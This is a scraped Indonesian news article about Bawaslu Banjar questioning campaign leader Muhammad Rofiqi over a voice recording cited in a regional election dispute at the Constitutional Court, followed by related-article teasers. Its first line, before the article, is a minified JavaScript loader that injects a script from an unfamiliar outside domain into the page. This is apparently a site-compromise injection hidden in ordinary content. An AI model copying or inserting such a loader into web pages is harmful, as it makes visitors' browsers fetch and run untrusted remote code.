(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, MARTAPURA – Bawaslu Banjar memanggil Ketua Tim Pemenangan H2D (Haji Denny-Difri) Kabupaten Banjar Muhammad Rofiqi, Jum’at (2/4/2021). Pemanggilan ini terkait klarifikasi rekaman suara Muhammad Rofiqi dengan salah satu Komisioner KPU Banjar, yang hebohkan sidang sengketa Pilgub Kalsel dI Mahkamah Konstitusi (MK) beberapa waktu lalu. Bawaslu Banjar melalukan klarifikasi dengan mengajukan sejumlah pertanyaan kepada Muhammad Rofiqi -Ketua Partai Gerindra Kabupaten Banjar-.
“Terkait kedatangan saya kemarin ada beberapa point yang diklarifikasi terutama mengenai MK kemarin, hingga surat pengakuan dari saudara Komisioner KPU Kabupaten Banjar Abdul Muthalib kemarin,” katanya.
Saat dimintai klarifikasi, Rofiqi mengaku dicecar 6 hingga 7 pertanyaan oleh Bawaslu Banjar. Seperti apakah benar dalam rekaman itu merupakan suara Rofiqi dan dirinya mengakui hal tersebut.
“Jadi saya ditanya apakah benar itu suara saya, seperti apa kronologisnya semua sudah saya jelaskan di sana, kita jelaskan semua bagaimana awal mula kasus ini ada, dan hasil investigasi kita di lapangan dan hasilnya yang kemarin kita jadikan alat bukti di MK,” akunya.
Ditambahkan Rofiqi, lantaran hal ini sudah dianggap ada kecurangan di MK, pihaknya berharap Bawaslu lebih masif lagi, sehingga ketika PSU nanti jangan lagi ada ditemukan kecurangan maupun penggelembungan suara kemudian hari.
Sementara itu, Ketua Bawaslu Banjar Fajeri Tamjidillah menerangkan, memang benar tadi sudah melakukan proses klarifikasi penanganan pelanggaran yang sebelumnya di-plenokan, sehingga perlu ditindak lanjuti kembali dengan memanggil salah satunya Ketua Tim Pemenangan H2D di Kabupaten Banjar tersebut.
“Hari ini kami melaksanakan klarifikasi tindak lanjut mengenai adanya temuan pelanggaran etik pasca keputusan MK dengan adanya surat keterangan dari salah satu anggota KPU Banjar hingga rekaman yang sebelumnya diperdengarkan,” katanya.
Sampai saat ini Bawaslu sendiri masih menelusuri dugaan pelanggaran etik.
“Nanti kita lihat lagi klarifikasi yang kita lakukan lantaran ini terus berlanjut, yang jelas ini harus kita lakukan, karena bagai manapun kami sebagai Bawaslu perlu kiranya kita harus profesonal sesuai fungsi dan tugas kami,” akunya. (kanalkalimantan.com/rdy)
Reporter : rdy
Editor : bie
KANALKALIMANTAN.COM, BANJARMASIN — Badan Eksekutif Mahasiswa (BEM) Seluruh Indonesia (SI) Kalimantan Selatan (Kalsel) menyatakan sikap… Read More
KANALKALIMANTAN.COM, BANJARBARU - Dinas Perumahan Rakyat dan Kawasan Permukiman (Disperkim) Provinsi Kalimantan Selatan (Kalsel) menegaskan… Read More
KANALKALIMANTAN.COM, BANJARMASIN – Wacana Pemilihan Kepala Daerah (Pilkada) melalui Dewan Perwakilan Rakyat Daerah (DPRD) menuai… Read More
KANALKALIMANTAN.COM, PARINGIN – Pekan pertama masa pemulihan pascabanjir di Kabupaten Balangan, sejumlah perbaikan sudah mulai… Read More
KANALKALIMANTAN.COM, KUALA KAPUAS - Pemerintah Kabupaten (Pemkab) Kapuas dan Kejaksaan Negeri (Kejari) Kapuas melakukan serah… Read More
KANALKALIMANTAN.COM, KUALA KAPUAS - Warga binaan Rumah Tahanan Negara (Rutan) Kelas II B Kapuas berkumpul… Read More
This website uses cookies.